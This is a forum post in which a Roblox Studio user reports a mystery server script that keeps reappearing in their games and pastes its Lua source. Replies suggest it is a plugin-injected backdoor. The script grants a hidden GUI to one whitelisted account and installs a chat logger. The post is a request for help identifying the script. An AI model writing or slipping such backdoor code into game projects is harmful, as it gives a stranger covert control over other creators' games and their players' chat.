Whenever i join someone or create a game in studio there is always a script in server script service that's name is blank and when i look at whats in it this is what it says
local whitelisted = {"coolyahya1278"}
local gui = script:FindFirstChildOfClass("ScreenGui")
function check(name)
for i,v in pairs(whitelisted) do
if v:lower()==name:lower() then
return true
end
end
return false
end
function onEnter(player)
local name=player.Name
if check(name) then
gui:Clone().Parent = player.PlayerGui
else
print()
end
end
--[[get all players who entered]]
for i,b in pairs(game.Players:getPlayers()) do
onEnter(b)
end
game.Players.PlayerAdded:connect(onEnter)
script.Chatlogger.Parent = game.ServerScriptService
I didn't edit the script this is actually what it says i don't know anything about whitelist scripts so this is all i know

2 comments
probably a backdoor (server-sided scripts/plugins that create viruses every join on roblox studio). search all your plugins and make sure they don't have any viruses.
I deleted every plugin i had at that time but its still there hehe i can still report this coolhaya guy